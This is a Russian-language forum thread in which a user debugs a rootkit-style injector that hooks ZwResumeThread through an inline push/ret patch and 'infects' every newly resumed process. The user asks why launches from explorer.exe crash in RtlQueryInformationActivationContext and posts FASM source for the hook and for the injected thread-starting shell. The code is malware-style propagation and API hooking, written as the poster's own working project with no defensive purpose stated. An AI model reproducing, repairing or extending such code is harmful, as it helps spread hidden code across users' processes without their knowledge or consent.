Сделал инжект АПС как на рутките при старте процесса. Вроде все Ок. Потом опять полезли полтергейсты(Глюки не поддающиеся моей логике). Значит моя прогрмма инжектиться во все, там перхватывает ZwResumeThread, и смотрит если возобновляеться поток в процессе, который не заражен, то заражает. Проверил на totalcmd.exe,frigate.exe - работает. Обрадовался уж. Но потом, проверил на всей системе целиком. Вижу процессы перестались запускаться. Смотрю в чем дело. Если explorer.exe что то запукаеться, то валимся. Начал бой против explorera. Смотрю(Внутри АПС): CreateThread -> CreateRemoteThread->ZwCreateThread -> Ok. Дальше идёт вызов RtlQueryInformationActivationContext. В нё то мы и валимся. Решил всё проверить на нотепаде. Запускаю нотепад от имени totalcmd и второй от имени explorer. Гляжу начались различия в след. коде: Код (Text): MOV EAX,DWORD PTR FS:[18] MOV DWORD PTR SS:[EBP-3C],EAX MOV EAX,DWORD PTR DS:[EAX+1B0] MOV DWORD PTR SS:[EBP-40],EAX CMP EAX,EBX JNZ ntdll.7C92804D По обыкновению не идёт прыжок.(то есть ТЕБ+1B0 = 0). Но в ехплорере идёт(ТЕБ+1B0 <> 0). И ближайших командах мы полчаем ошибку и улетаем. Подскажите, кто чем может. Параметры передаваемые в RtlQueryInformationActivationContext вроде одинаковы. Как я понял :MOV EAX,DWORD PTR FS:[18] это бы в ТЕБ смотрим. MOV EAX,DWORD PTR DS:[EAX+1B0] - что тут находиться(и какая **** их заплняет), подскажите, если кто знает и ему не жалко.
tylerdurden XP. зачем? я контекст и в отладчике глянуть могу. Вроде ничего интеерсного там нет.... Код (Text): proc NewZwResumeThread uses ebx edi esi, \ ThreadHandle,PreviousSuspendCount local temp:DWORD,ThreadInfo:THREAD_BASIC_INFORMATION call $+5 pop ebx sub ebx,$-BaseIndependentStart-1 lea ecx,[.old+delta] WriteProcessMemory(INVALID_HANDLE_VALUE,[pZwResumeThread+delta],ecx,6,addr temp) ZwQueryInformationThread([ThreadHandle],THREAD_BASIC_INFO,\ addr ThreadInfo,sizeof.THREAD_BASIC_INFORMATION,NULL) test eax,eax jnz @F MustWeInfectIt([ThreadInfo.ClientId.UniqueProcess]) test eax,eax jz @F InjectInChildProcess([ThreadInfo.ClientId.UniqueProcess],[ThreadInfo.ClientId.UniqueThread]) @@: stdcall [pZwResumeThread+delta],[ThreadHandle],[PreviousSuspendCount] push eax ecx edx lea ecx,[.new+delta] WriteProcessMemory(INVALID_HANDLE_VALUE,[pZwResumeThread+delta],ecx,6,addr temp) pop edx ecx eax ret .old rb 6 .new db 68h ;push rb 4 ;for pointer db 0C3h ;ret endp Код (Text): proc InjectChildProcessShell parametr pushad call $+5 pop ebx sub ebx,$-BaseIndependentStart-1 InitKernel32API() test eax,eax jz .ret InitNtdllAPI() test eax,eax jz .ret lea eax,[LogFilePath+delta] mov [log_file_path.Buffer+delta],eax write 'InjectChildProcessShell:Enter.' ; Sleep(30000);здесь коннектился и смотрел отладчиком. lea edx,[start_to_work+delta] CreateThread(0,0,edx,edx,0,0) .if ~ eax GetLastError() write 'InjectChildProcessShell:Critical Error! CreateThread fails. GetLastError = %X.',eax .else CloseHandle(eax) .if ~ eax GetLastError() write 'InjectChildProcessShell:CloseHandle fails. GetLastError = %X.',eax .endif .endif write 'InjectChildProcessShell:Leave.' .ret: popad ret endp InjectChildProcessShell_size = $ - InjectChildProcessShell
сорри CreateThread здесь ни при чем. модерам: снесите топик, тут причина в другом, я другой топ создам.